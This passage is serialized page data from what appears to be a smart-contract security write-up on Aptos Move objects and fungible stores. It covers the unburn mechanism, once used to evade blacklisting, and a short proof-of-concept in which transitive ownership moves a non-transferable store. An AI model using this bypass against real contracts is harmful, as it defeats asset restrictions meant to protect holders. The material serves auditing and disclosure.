{"type":31,"value":66872},{"type":25,"tag":216,"props":68007,"children":68008},{"style":6958},[68009],{"type":31,"value":7020},{"type":25,"tag":216,"props":68011,"children":68012},{"style":6941},[68013],{"type":31,"value":68014},"original_owner",{"type":25,"tag":216,"props":68016,"children":68017},{"style":6958},[68018],{"type":31,"value":66895},{"type":25,"tag":216,"props":68020,"children":68021},{"style":6947},[68022],{"type":31,"value":7432},{"type":25,"tag":216,"props":68024,"children":68025},{"style":7041},[68026],{"type":31,"value":67781},{"type":25,"tag":216,"props":68028,"children":68029},{"style":6958},[68030],{"type":31,"value":68031},"(ENOT_OBJECT_OWNER));\n",{"type":25,"tag":216,"props":68033,"children":68034},{"class":6916,"line":6999},[68035,68039,68044,68048,68052,68056],{"type":25,"tag":216,"props":68036,"children":68037},{"style":6930},[68038],{"type":31,"value":6933},{"type":25,"tag":216,"props":68040,"children":68041},{"style":6941},[68042],{"type":31,"value":68043}," object_addr",{"type":25,"tag":216,"props":68045,"children":68046},{"style":6947},[68047],{"type":31,"value":6950},{"type":25,"tag":216,"props":68049,"children":68050},{"style":6941},[68051],{"type":31,"value":66456},{"type":25,"tag":216,"props":68053,"children":68054},{"style":6947},[68055],{"type":31,"value":179},{"type":25,"tag":216,"props":68057,"children":68058},{"style":6958},[68059],{"type":31,"value":68060},"inner;\n",{"type":25,"tag":216,"props":68062,"children":68063},{"class":6916,"line":7104},[68064,68068,68072,68076,68081,68085,68090,68094,68099,68103,68107],{"type":25,"tag":216,"props":68065,"children":68066},{"style":7041},[68067],{"type":31,"value":67059},{"type":25,"tag":216,"props":68069,"children":68070},{"style":6958},[68071],{"type":31,"value":1844},{"type":25,"tag":216,"props":68073,"children":68074},{"style":6947},[68075],{"type":31,"value":7053},{"type":25,"tag":216,"props":68077,"children":68078},{"style":7041},[68079],{"type":31,"value":68080},"create_signer",{"type":25,"tag":216,"props":68082,"children":68083},{"style":6958},[68084],{"type":31,"value":1844},{"type":25,"tag":216,"props":68086,"children":68087},{"style":6941},[68088],{"type":31,"value":68089},"object_addr",{"type":25,"tag":216,"props":68091,"children":68092},{"style":6958},[68093],{"type":31,"value":5400},{"type":25,"tag":216,"props":68095,"children":68096},{"style":7369},[68097],{"type":31,"value":68098},"TombStone",{"type":25,"tag":216,"props":68100,"children":68101},{"style":6958},[68102],{"type":31,"value":13536},{"type":25,"tag":216,"props":68104,"children":68105},{"style":6941},[68106],{"type":31,"value":68014},{"type":25,"tag":216,"props":68108,"children":68109},{"style":6958},[68110],{"type":31,"value":42792},{"type":25,"tag":216,"props":68112,"children":68113},{"class":6916,"line":7210},[68114,68119,68123,68127],{"type":25,"tag":216,"props":68115,"children":68116},{"style":7041},[68117],{"type":31,"value":68118},"    transfer_raw_inner",{"type":25,"tag":216,"props":68120,"children":68121},{"style":6958},[68122],{"type":31,"value":1844},{"type":25,"tag":216,"props":68124,"children":68125},{"style":6941},[68126],{"type":31,"value":68089},{"type":25,"tag":216,"props":68128,"children":68129},{"style":6958},[68130],{"type":31,"value":68131},", BURN_ADDRESS);\n",{"type":25,"tag":216,"props":68133,"children":68134},{"class":6916,"line":7238},[68135],{"type":25,"tag":216,"props":68136,"children":68137},{"style":6958},[68138],{"type":31,"value":7868},{"type":25,"tag":38,"props":68140,"children":68141},{},[68142,68148,68150,68155,68156,68163,68165,68170],{"type":25,"tag":82,"props":68143,"children":68145},{"className":68144},[],[68146],{"type":31,"value":68147},"unburn",{"type":31,"value":68149}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":25,"tag":82,"props":68151,"children":68153},{"className":68152},[],[68154],{"type":31,"value":67834},{"type":31,"value":22485},{"type":25,"tag":162,"props":68157,"children":68160},{"href":68158,"rel":68159},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[166],[68161],{"type":31,"value":68162},"AIP-99",{"type":31,"value":68164}," is a proposal to roll back the ",{"type":25,"tag":82,"props":68166,"children":68168},{"className":68167},[],[68169],{"type":31,"value":67826},{"type":31,"value":68171}," feature, but previously burned objects will remain restorable.",{"type":25,"tag":34,"props":68173,"children":68174},{},[68175],{"type":25,"tag":38,"props":68176,"children":68177},{},[68178,68180,68184],{"type":31,"value":68179},"This ",{"type":25,"tag":216,"props":68181,"children":68182},{},[68183],{"type":31,"value":68162},{"type":31,"value":68185}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":25,"tag":38,"props":68187,"children":68188},{},[68189,68191,68197,68199,68204,68206,68211],{"type":31,"value":68190},"Another important thing is that ",{"type":25,"tag":82,"props":68192,"children":68194},{"className":68193},[],[68195],{"type":31,"value":68196},"fungible_asset::set_untransferable",{"type":31,"value":68198}," can be used to make all new ",{"type":25,"tag":82,"props":68200,"children":68202},{"className":68201},[],[68203],{"type":31,"value":66542},{"type":31,"value":68205}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":25,"tag":82,"props":68207,"children":68209},{"className":68208},[],[68210],{"type":31,"value":66038},{"type":31,"value":179},{"type":25,"tag":38,"props":68213,"children":68214},{},[68215,68217,68222,68224,68230,68232,68237,68239,68244],{"type":31,"value":68216},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":25,"tag":82,"props":68218,"children":68220},{"className":68219},[],[68221],{"type":31,"value":66038},{"type":31,"value":68223},", X can withdraw from that store. This is because ",{"type":25,"tag":82,"props":68225,"children":68227},{"className":68226},[],[68228],{"type":31,"value":68229},"fungible_asset::withdraw",{"type":31,"value":68231}," uses ",{"type":25,"tag":82,"props":68233,"children":68235},{"className":68234},[],[68236],{"type":31,"value":67556},{"type":31,"value":68238}," to verify both direct and indirect ownership of the ",{"type":25,"tag":82,"props":68240,"children":68242},{"className":68241},[],[68243],{"type":31,"value":66038},{"type":31,"value":54139},{"type":25,"tag":206,"props":68246,"children":68248},{"className":6909,"code":68247,"language":6908,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[68249],{"type":25,"tag":82,"props":68250,"children":68251},{"__ignoreMap":7},[68252,68313,68329,68359,68388,68403,68415,68445,68466,68473,68513,68538,68545],{"type":25,"tag":216,"props":68253,"children":68254},{"class":6916,"line":6917},[68255,68259,68264,68268,68272,68276,68280,68284,68289,68293,68297,68301,68305,68309],{"type":25,"tag":216,"props":68256,"children":68257},{"style":6941},[68258],{"type":31,"value":11053},{"type":25,"tag":216,"props":68260,"children":68261},{"style":7041},[68262],{"type":31,"value":68263}," verify_ungated_and_descendant",{"type":25,"tag":216,"props":68265,"children":68266},{"style":6958},[68267],{"type":31,"value":1844},{"type":25,"tag":216,"props":68269,"children":68270},{"style":6941},[68271],{"type":31,"value":19561},{"type":25,"tag":216,"props":68273,"children":68274},{"style":6947},[68275],{"type":31,"value":1466},{"type":25,"tag":216,"props":68277,"children":68278},{"style":6941},[68279],{"type":31,"value":10195},{"type":25,"tag":216,"props":68281,"children":68282},{"style":6958},[68283],{"type":31,"value":7020},{"type":25,"tag":216,"props":68285,"children":68286},{"style":6941},[68287],{"type":31,"value":68288},"destination",{"type":25,"tag":216,"props":68290,"children":68291},{"style":6947},[68292],{"type":31,"value":1466},{"type":25,"tag":216,"props":68294,"children":68295},{"style":6941},[68296],{"type":31,"value":10195},{"type":25,"tag":216,"props":68298,"children":68299},{"style":6958},[68300],{"type":31,"value":7030},{"type":25,"tag":216,"props":68302,"children":68303},{"style":6941},[68304],{"type":31,"value":10289},{"type":25,"tag":216,"props":68306,"children":68307},{"style":7369},[68308],{"type":31,"value":67936},{"type":25,"tag":216,"props":68310,"children":68311},{"style":6958},[68312],{"type":31,"value":7235},{"type":25,"tag":216,"props":68314,"children":68315},{"class":6916,"line":6763},[68316,68321,68325],{"type":25,"tag":216,"props":68317,"children":68318},{"style":6958},[68319],{"type":31,"value":68320},"        [",{"type":25,"tag":216,"props":68322,"children":68323},{"style":6947},[68324],{"type":31,"value":13541},{"type":25,"tag":216,"props":68326,"children":68327},{"style":6958},[68328],{"type":31,"value":15722},{"type":25,"tag":216,"props":68330,"children":68331},{"class":6916,"line":6772},[68332,68337,68341,68345,68350,68355],{"type":25,"tag":216,"props":68333,"children":68334},{"style":6967},[68335],{"type":31,"value":68336},"    while",{"type":25,"tag":216,"props":68338,"children":68339},{"style":6958},[68340],{"type":31,"value":7010},{"type":25,"tag":216,"props":68342,"children":68343},{"style":6941},[68344],{"type":31,"value":19561},{"type":25,"tag":216,"props":68346,"children":68347},{"style":6947},[68348],{"type":31,"value":68349}," !=",{"type":25,"tag":216,"props":68351,"children":68352},{"style":6941},[68353],{"type":31,"value":68354}," current_address",{"type":25,"tag":216,"props":68356,"children":68357},{"style":6958},[68358],{"type":31,"value":18755},{"type":25,"tag":216,"props":68360,"children":68361},{"class":6916,"line":6999},[68362,68367,68371,68376,68380,68384],{"type":25,"tag":216,"props":68363,"children":68364},{"style":6941},[68365],{"type":31,"value":68366},"        count",{"type":25,"tag":216,"props":68368,"children":68369},{"style":6947},[68370],{"type":31,"value":6950},{"type":25,"tag":216,"props":68372,"children":68373},{"style":6941},[68374],{"type":31,"value":68375}," count",{"type":25,"tag":216,"props":68377,"children":68378},{"style":6947},[68379],{"type":31,"value":12852},{"type":25,"tag":216,"props":68381,"children":68382},{"style":6983},[68383],{"type":31,"value":8465},{"type":25,"tag":216,"props":68385,"children":68386},{"style":6958},[68387],{"type":31,"value":6961},{"type":25,"tag":216,"props":68389,"children":68390},{"class":6916,"line":7104},[68391,68395,68399],{"type":25,"tag":216,"props":68392,"children":68393},{"style":6958},[68394],{"type":31,"value":68320},{"type":25,"tag":216,"props":68396,"children":68397},{"style":6947},[68398],{"type":31,"value":13541},{"type":25,"tag":216,"props":68400,"children":68401},{"style":6958},[68402],{"type":31,"value":15722},{"type":25,"tag":216,"props":68404,"children":68405},{"class":6916,"line":7210},[68406,68411],{"type":25,"tag":216,"props":68407,"children":68408},{"style":7041},[68409],{"type":31,"value":68410},"        assert!",{"type":25,"tag":216,"props":68412,"children":68413},{"style":6958},[68414],{"type":31,"value":7414},{"type":25,"tag":216,"props":68416,"children":68417},{"class":6916,"line":7238},[68418,68423,68427,68432,68436,68441],{"type":25,"tag":216,"props":68419,"children":68420},{"style":6941},[68421],{"type":31,"value":68422},"            exists",{"type":25,"tag":216,"props":68424,"children":68425},{"style":6958},[68426],{"type":31,"value":9751},{"type":25,"tag":216,"props":68428,"children":68429},{"style":7369},[68430],{"type":31,"value":68431},"ObjectCore",{"type":25,"tag":216,"props":68433,"children":68434},{"style":6958},[68435],{"type":31,"value":11556},{"type":25,"tag":216,"props":68437,"children":68438},{"style":6941},[68439],{"type":31,"value":68440},"current_address",{"type":25,"tag":216,"props":68442,"children":68443},{"style":6958},[68444],{"type":31,"value":10682},{"type":25,"tag":216,"props":68446,"children":68447},{"class":6916,"line":7251},[68448,68453,68457,68461],{"type":25,"tag":216,"props":68449,"children":68450},{"style":6958},[68451],{"type":31,"value":68452},"            error",{"type":25,"tag":216,"props":68454,"children":68455},{"style":6947},[68456],{"type":31,"value":7432},{"type":25,"tag":216,"props":68458,"children":68459},{"style":7041},[68460],{"type":31,"value":67781},{"type":25,"tag":216,"props":68462,"children":68463},{"style":6958},[68464],{"type":31,"value":68465},"(ENOT_OBJECT_OWNER),\n",{"type":25,"tag":216,"props":68467,"children":68468},{"class":6916,"line":7269},[68469],{"type":25,"tag":216,"props":68470,"children":68471},{"style":6958},[68472],{"type":31,"value":11689},{"type":25,"tag":216,"props":68474,"children":68475},{"class":6916,"line":7290},[68476,68480,68484,68488,68493,68497,68501,68505,68509],{"type":25,"tag":216,"props":68477,"children":68478},{"style":6930},[68479],{"type":31,"value":7005},{"type":25,"tag":216,"props":68481,"children":68482},{"style":6941},[68483],{"type":31,"value":66456},{"type":25,"tag":216,"props":68485,"children":68486},{"style":6947},[68487],{"type":31,"value":6950},{"type":25,"tag":216,"props":68489,"children":68490},{"style":6941},[68491],{"type":31,"value":68492}," borrow_global",{"type":25,"tag":216,"props":68494,"children":68495},{"style":6958},[68496],{"type":31,"value":9751},{"type":25,"tag":216,"props":68498,"children":68499},{"style":7369},[68500],{"type":31,"value":68431},{"type":25,"tag":216,"props":68502,"children":68503},{"style":6958},[68504],{"type":31,"value":11556},{"type":25,"tag":216,"props":68506,"children":68507},{"style":6941},[68508],{"type":31,"value":68440},{"type":25,"tag":216,"props":68510,"children":68511},{"style":6958},[68512],{"type":31,"value":7791},{"type":25,"tag":216,"props":68514,"children":68515},{"class":6916,"line":7299},[68516,68521,68525,68529,68533],{"type":25,"tag":216,"props":68517,"children":68518},{"style":6941},[68519],{"type":31,"value":68520},"        current_address",{"type":25,"tag":216,"props":68522,"children":68523},{"style":6947},[68524],{"type":31,"value":6950},{"type":25,"tag":216,"props":68526,"children":68527},{"style":6941},[68528],{"type":31,"value":66456},{"type":25,"tag":216,"props":68530,"children":68531},{"style":6947},[68532],{"type":31,"value":179},{"type":25,"tag":216,"props":68534,"children":68535},{"style":6958},[68536],{"type":31,"value":68537},"owner;\n",{"type":25,"tag":216,"props":68539,"children":68540},{"class":6916,"line":7551},[68541],{"type":25,"tag":216,"props":68542,"children":68543},{"style":6958},[68544],{"type":31,"value":42954},{"type":25,"tag":216,"props":68546,"children":68547},{"class":6916,"line":7568},[68548],{"type":25,"tag":216,"props":68549,"children":68550},{"style":6958},[68551],{"type":31,"value":7868},{"type":25,"tag":38,"props":68553,"children":68554},{},[68555,68557,68562],{"type":31,"value":68556},"This could allow for bypassing assumptions about ",{"type":25,"tag":82,"props":68558,"children":68560},{"className":68559},[],[68561],{"type":31,"value":66038},{"type":31,"value":68563}," true ownership and its non-transferability.",{"type":25,"tag":206,"props":68565,"children":68567},{"className":6909,"code":68566,"language":6908,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[68568],{"type":25,"tag":82,"props":68569,"children":68570},{"__ignoreMap":7},[68571,68629,68682,68726,68774,68781,68826,68834],{"type":25,"tag":216,"props":68572,"children":68573},{"class":6916,"line":6917},[68574,68578,68582,68587,68591,68596,68600,68604,68608,68612,68617,68621,68625],{"type":25,"tag":216,"props":68575,"children":68576},{"style":6941},[68577],{"type":31,"value":65637},{"type":25,"tag":216,"props":68579,"children":68580},{"style":6941},[68581],{"type":31,"value":10152},{"type":25,"tag":216,"props":68583,"children":68584},{"style":7041},[68585],{"type":31,"value":68586}," untransferable_transfer",{"type":25,"tag":216,"props":68588,"children":68589},{"style":6958},[68590],{"type":31,"value":1844},{"type":25,"tag":216,"props":68592,"children":68593},{"style":6941},[68594],{"type":31,"value":68595},"caller",{"type":25,"tag":216,"props":68597,"children":68598},{"style":6947},[68599],{"type":31,"value":1466},{"type":25,"tag":216,"props":68601,"children":68602},{"style":6947},[68603],{"type":31,"value":11087},{"type":25,"tag":216,"props":68605,"children":68606},{"style":6941},[68607],{"type":31,"value":11092},{"type":25,"tag":216,"props":68609,"children":68610},{"style":6958},[68611],{"type":31,"value":7020},{"type":25,"tag":216,"props":68613,"children":68614},{"style":6941},[68615],{"type":31,"value":68616},"receipient",{"type":25,"tag":216,"props":68618,"children":68619},{"style":6947},[68620],{"type":31,"value":1466},{"type":25,"tag":216,"props":68622,"children":68623},{"style":6941},[68624],{"type":31,"value":10195},{"type":25,"tag":216,"props":68626,"children":68627},{"style":6958},[68628],{"type":31,"value":18755},{"type":25,"tag":216,"props":68630,"children":68631},{"class":6916,"line":6763},[68632,68636,68641,68645,68649,68653,68658,68662,68666,68670,68674,68678],{"type":25,"tag":216,"props":68633,"children":68634},{"style":6930},[68635],{"type":31,"value":6933},{"type":25,"tag":216,"props":68637,"children":68638},{"style":6941},[68639],{"type":31,"value":68640}," constructor_ref",{"type":25,"tag":216,"props":68642,"children":68643},{"style":6947},[68644],{"type":31,"value":6950},{"type":25,"tag":216,"props":68646,"children":68647},{"style":6958},[68648],{"type":31,"value":66456},{"type":25,"tag":216,"props":68650,"children":68651},{"style":6947},[68652],{"type":31,"value":7432},{"type":25,"tag":216,"props":68654,"children":68655},{"style":7041},[68656],{"type":31,"value":68657},"create_object",{"type":25,"tag":216,"props":68659,"children":68660},{"style":6958},[68661],{"type":31,"value":11146},{"type":25,"tag":216,"props":68663,"children":68664},{"style":6947},[68665],{"type":31,"value":7432},{"type":25,"tag":216,"props":68667,"children":68668},{"style":7041},[68669],{"type":31,"value":11155},{"type":25,"tag":216,"props":68671,"children":68672},{"style":6958},[68673],{"type":31,"value":1844},{"type":25,"tag":216,"props":68675,"children":68676},{"style":6941},[68677],{"type":31,"value":68595},{"type":25,"tag":216,"props":68679,"children":68680},{"style":6958},[68681],{"type":31,"value":11169},{"type":25,"tag":216,"props":68683,"children":68684},{"class":6916,"line":6772},[68685,68689,68693,68697,68701,68705,68710,68714,68718,68722],{"type":25,"tag":216,"props":68686,"children":68687},{"style":6930},[68688],{"type":31,"value":6933},{"type":25,"tag":216,"props":68690,"children":68691},{"style":6941},[68692],{"type":31,"value":68043},{"type":25,"tag":216,"props":68694,"children":68695},{"style":6947},[68696],{"type":31,"value":6950},{"type":25,"tag":216,"props":68698,"children":68699},{"style":6958},[68700],{"type":31,"value":66456},{"type":25,"tag":216,"props":68702,"children":68703},{"style":6947},[68704],{"type":31,"value":7432},{"type":25,"tag":216,"props":68706,"children":68707},{"style":7041},[68708],{"type":31,"value":68709},"address_from_constructor_ref",{"type":25,"tag":216,"props":68711,"children":68712},{"style":6958},[68713],{"type":31,"value":1844},{"type":25,"tag":216,"props":68715,"children":68716},{"style":6947},[68717],{"type":31,"value":7053},{"type":25,"tag":216,"props":68719,"children":68720},{"style":6941},[68721],{"type":31,"value":66890},{"type":25,"tag":216,"props":68723,"children":68724},{"style":6958},[68725],{"type":31,"value":7791},{"type":25,"tag":216,"props":68727,"children":68728},{"class":6916,"line":6999},[68729,68733,68737,68741,68746,68750,68754,68758,68762,68766,68770],{"type":25,"tag":216,"props":68730,"children":68731},{"style":6930},[68732],{"type":31,"value":6933},{"type":25,"tag":216,"props":68734,"children":68735},{"style":6941},[68736],{"type":31,"value":9776},{"type":25,"tag":216,"props":68738,"children":68739},{"style":6947},[68740],{"type":31,"value":6950},{"type":25,"tag":216,"props":68742,"children":68743},{"style":6958},[68744],{"type":31,"value":68745}," primary_fungible_store",{"type":25,"tag":216,"props":68747,"children":68748},{"style":6947},[68749],{"type":31,"value":7432},{"type":25,"tag":216,"props":68751,"children":68752},{"style":7041},[68753],{"type":31,"value":66782},{"type":25,"tag":216,"props":68755,"children":68756},{"style":6958},[68757],{"type":31,"value":1844},{"type":25,"tag":216,"props":68759,"children":68760},{"style":6941},[68761],{"type":31,"value":68089},{"type":25,"tag":216,"props":68763,"children":68764},{"style":6958},[68765],{"type":31,"value":7020},{"type":25,"tag":216,"props":68767,"children":68768},{"style":7041},[68769],{"type":31,"value":66738},{"type":25,"tag":216,"props":68771,"children":68772},{"style":6958},[68773],{"type":31,"value":19376},{"type":25,"tag":216,"props":68775,"children":68776},{"class":6916,"line":7104},[68777],{"type":25,"tag":216,"props":68778,"children":68779},{"emptyLinePlaceholder":16},[68780],{"type":31,"value":7636},{"type":25,"tag":216,"props":68782,"children":68783},{"class":6916,"line":7210},[68784,68789,68793,68798,68802,68806,68810,68814,68818,68822],{"type":25,"tag":216,"props":68785,"children":68786},{"style":6958},[68787],{"type":31,"value":68788},"    object",{"type":25,"tag":216,"props":68790,"children":68791},{"style":6947},[68792],{"type":31,"value":7432},{"type":25,"tag":216,"props":68794,"children":68795},{"style":7041},[68796],{"type":31,"value":68797},"transfer_raw",{"type":25,"tag":216,"props":68799,"children":68800},{"style":6958},[68801],{"type":31,"value":1844},{"type":25,"tag":216,"props":68803,"children":68804},{"style":6941},[68805],{"type":31,"value":68595},{"type":25,"tag":216,"props":68807,"children":68808},{"style":6958},[68809],{"type":31,"value":7020},{"type":25,"tag":216,"props":68811,"children":68812},{"style":6941},[68813],{"type":31,"value":68089},{"type":25,"tag":216,"props":68815,"children":68816},{"style":6958},[68817],{"type":31,"value":7020},{"type":25,"tag":216,"props":68819,"children":68820},{"style":6941},[68821],{"type":31,"value":68616},{"type":25,"tag":216,"props":68823,"children":68824},{"style":6958},[68825],{"type":31,"value":7791},{"type":25,"tag":216,"props":68827,"children":68828},{"class":6916,"line":7238},[68829],{"type":25,"tag":216,"props":68830,"children":68831},{"style":6921},[68832],{"type":31,"value":68833},"    //receipient can interact with store by using their signer\n",{"type":25,"tag":216,"props":68835,"children":68836},{"class":6916,"line":7251},[68837],{"type":25,"tag":216,"props":68838,"children":68839},{"style":6958},[68840],{"type":31,"value":7868},{"type":25,"tag":38,"props":68842,"children":68843},{},[68844,68846,68853],{"type":31,"value":68845},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":25,"tag":162,"props":68847,"children":68850},{"href":68848,"rel":68849},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[166],[68851],{"type":31,"value":68852},"edge case",{"type":31,"value":68854}," involving the transfer of a non-transferable fungible store.",{"type":25,"tag":206,"props":68856,"children":68858},{"className":6909,"code":68857,"language":6908,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[68859],{"type":25,"tag":82,"props":68860,"children":68861},{"__ignoreMap":7},[68862,68927,68988,69035,69046,69081,69101,69108,69115,69130,69137,69165],{"type":25,"tag":216,"props":68863,"children":68864},{"class":6916,"line":6917},[68865,68869,68873,68878,68882,68886,68890,68895,68899,68903,68907,68911,68915,68919,68923],{"type":25,"tag":216,"props":68866,"children":68867},{"style":6941},[68868],{"type":31,"value":65637},{"type":25,"tag":216,"props":68870,"children":68871},{"style":6941},[68872],{"type":31,"value":10152},{"type":25,"tag":216,"props":68874,"children":68875},{"style":7041},[68876],{"type":31,"value":68877}," transfer_with_ref",{"type":25,"tag":216,"props":68879,"children":68880},{"style":6958},[68881],{"type":31,"value":1844},{"type":25,"tag":216,"props":68883,"children":68884},{"style":6930},[68885],{"type":31,"value":67299},{"type":25,"tag":216,"props":68887,"children":68888},{"style":6947},[68889],{"type":31,"value":1466},{"type":25,"tag":216,"props":68891,"children":68892},{"style":7369},[68893],{"type":31,"value":68894}," LinearTransferRef",{"type":25,"tag":216,"props":68896,"children":68897},{"style":6958},[68898],{"type":31,"value":7020},{"type":25,"tag":216,"props":68900,"children":68901},{"style":6941},[68902],{"type":31,"value":36684},{"type":25,"tag":216,"props":68904,"children":68905},{"style":6947},[68906],{"type":31,"value":1466},{"type":25,"tag":216,"props":68908,"children":68909},{"style":6941},[68910],{"type":31,"value":10195},{"type":25,"tag":216,"props":68912,"children":68913},{"style":6958},[68914],{"type":31,"value":7030},{"type":25,"tag":216,"props":68916,"children":68917},{"style":6941},[68918],{"type":31,"value":10289},{"type":25,"tag":216,"props":68920,"children":68921},{"style":7369},[68922],{"type":31,"value":67936},{"type":25,"tag":216,"props":68924,"children":68925},{"style":6958},[68926],{"type":31,"value":7235},{"type":25,"tag":216,"props":68928,"children":68929},{"class":6916,"line":6763},[68930,68934,68938,68942,68946,68950,68955,68959,68963,68967,68971,68975,68979,68983],{"type":25,"tag":216,"props":68931,"children":68932},{"style":7041},[68933],{"type":31,"value":66306},{"type":25,"tag":216,"props":68935,"children":68936},{"style":6958},[68937],{"type":31,"value":1844},{"type":25,"tag":216,"props":68939,"children":68940},{"style":6947},[68941],{"type":31,"value":24575},{"type":25,"tag":216,"props":68943,"children":68944},{"style":6941},[68945],{"type":31,"value":10650},{"type":25,"tag":216,"props":68947,"children":68948},{"style":6958},[68949],{"type":31,"value":9751},{"type":25,"tag":216,"props":68951,"children":68952},{"style":7369},[68953],{"type":31,"value":68954},"Untransferable",{"type":25,"tag":216,"props":68956,"children":68957},{"style":6958},[68958],{"type":31,"value":11556},{"type":25,"tag":216,"props":68960,"children":68961},{"style":6930},[68962],{"type":31,"value":67299},{"type":25,"tag":216,"props":68964,"children":68965},{"style":6947},[68966],{"type":31,"value":179},{"type":25,"tag":216,"props":68968,"children":68969},{"style":6930},[68970],{"type":31,"value":17664},{"type":25,"tag":216,"props":68972,"children":68973},{"style":6958},[68974],{"type":31,"value":66895},{"type":25,"tag":216,"props":68976,"children":68977},{"style":6947},[68978],{"type":31,"value":7432},{"type":25,"tag":216,"props":68980,"children":68981},{"style":7041},[68982],{"type":31,"value":67781},{"type":25,"tag":216,"props":68984,"children":68985},{"style":6958},[68986],{"type":31,"value":68987},"(ENOT_MOVABLE));\n",{"type":25,"tag":216,"props":68989,"children":68990},{"class":6916,"line":6772},[68991,68995,68999,69003,69007,69011,69015,69019,69023,69027,69031],{"type":25,"tag":216,"props":68992,"children":68993},{"style":6930},[68994],{"type":31,"value":6933},{"type":25,"tag":216,"props":68996,"children":68997},{"style":6941},[68998],{"type":31,"value":66456},{"type":25,"tag":216,"props":69000,"children":69001},{"style":6947},[69002],{"type":31,"value":6950},{"type":25,"tag":216,"props":69004,"children":69005},{"style":6941},[69006],{"type":31,"value":11542},{"type":25,"tag":216,"props":69008,"children":69009},{"style":6958},[69010],{"type":31,"value":9751},{"type":25,"tag":216,"props":69012,"children":69013},{"style":7369},[69014],{"type":31,"value":68431},{"type":25,"tag":216,"props":69016,"children":69017},{"style":6958},[69018],{"type":31,"value":11556},{"type":25,"tag":216,"props":69020,"children":69021},{"style":6930},[69022],{"type":31,"value":67299},{"type":25,"tag":216,"props":69024,"children":69025},{"style":6947},[69026],{"type":31,"value":179},{"type":25,"tag":216,"props":69028,"children":69029},{"style":6930},[69030],{"type":31,"value":17664},{"type":25,"tag":216,"props":69032,"children":69033},{"style":6958},[69034],{"type":31,"value":7791},{"type":25,"tag":216,"props":69036,"children":69037},{"class":6916,"line":6999},[69038,69042],{"type":25,"tag":216,"props":69039,"children":69040},{"style":7041},[69041],{"type":31,"value":66306},{"type":25,"tag":216,"props":69043,"children":69044},{"style":6958},[69045],{"type":31,"value":7414},{"type":25,"tag":216,"props":69047,"children":69048},{"class":6916,"line":7104},[69049,69054,69058,69063,69067,69072,69076],{"type":25,"tag":216,"props":69050,"children":69051},{"style":6941},[69052],{"type":31,"value":69053},"        object",{"type":25,"tag":216,"props":69055,"children":69056},{"style":6947},[69057],{"type":31,"value":179},{"type":25,"tag":216,"props":69059,"children":69060},{"style":6958},[69061],{"type":31,"value":69062},"owner ",{"type":25,"tag":216,"props":69064,"children":69065},{"style":6947},[69066],{"type":31,"value":12522},{"type":25,"tag":216,"props":69068,"children":69069},{"style":6930},[69070],{"type":31,"value":69071}," ref",{"type":25,"tag":216,"props":69073,"children":69074},{"style":6947},[69075],{"type":31,"value":179},{"type":25,"tag":216,"props":69077,"children":69078},{"style":6958},[69079],{"type":31,"value":69080},"owner,\n",{"type":25,"tag":216,"props":69082,"children":69083},{"class":6916,"line":7210},[69084,69089,69093,69097],{"type":25,"tag":216,"props":69085,"children":69086},{"style":6958},[69087],{"type":31,"value":69088},"        error",{"type":25,"tag":216,"props":69090,"children":69091},{"style":6947},[69092],{"type":31,"value":7432},{"type":25,"tag":216,"props":69094,"children":69095},{"style":7041},[69096],{"type":31,"value":67781},{"type":25,"tag":216,"props":69098,"children":69099},{"style":6958},[69100],{"type":31,"value":68465},{"type":25,"tag":216,"props":69102,"children":69103},{"class":6916,"line":7238},[69104],{"type":25,"tag":216,"props":69105,"children":69106},{"style":6958},[69107],{"type":31,"value":47617},{"type":25,"tag":216,"props":69109,"children":69110},{"class":6916,"line":7251},[69111],{"type":25,"tag":216,"props":69112,"children":69113},{"style":6958},[69114],{"type":31,"value":65748},{"type":25,"tag":216,"props":69116,"children":69117},{"class":6916,"line":7269},[69118,69122,69126],{"type":25,"tag":216,"props":69119,"children":69120},{"style":6958},[69121],{"type":31,"value":66680},{"type":25,"tag":216,"props":69123,"children":69124},{"style":6947},[69125],{"type":31,"value":13541},{"type":25,"tag":216,"props":69127,"children":69128},{"style":6958},[69129],{"type":31,"value":15722},{"type":25,"tag":216,"props":69131,"children":69132},{"class":6916,"line":7290},[69133],{"type":25,"tag":216,"props":69134,"children":69135},{"style":6958},[69136],{"type":31,"value":65748},{"type":25,"tag":216,"props":69138,"children":69139},{"class":6916,"line":7299},[69140,69144,69148,69152,69156,69161],{"type":25,"tag":216,"props":69141,"children":69142},{"style":6941},[69143],{"type":31,"value":68788},{"type":25,"tag":216,"props":69145,"children":69146},{"style":6947},[69147],{"type":31,"value":179},{"type":25,"tag":216,"props":69149,"children":69150},{"style":6958},[69151],{"type":31,"value":69062},{"type":25,"tag":216,"props":69153,"children":69154},{"style":6947},[69155],{"type":31,"value":266},{"type":25,"tag":216,"props":69157,"children":69158},{"style":6941},[69159],{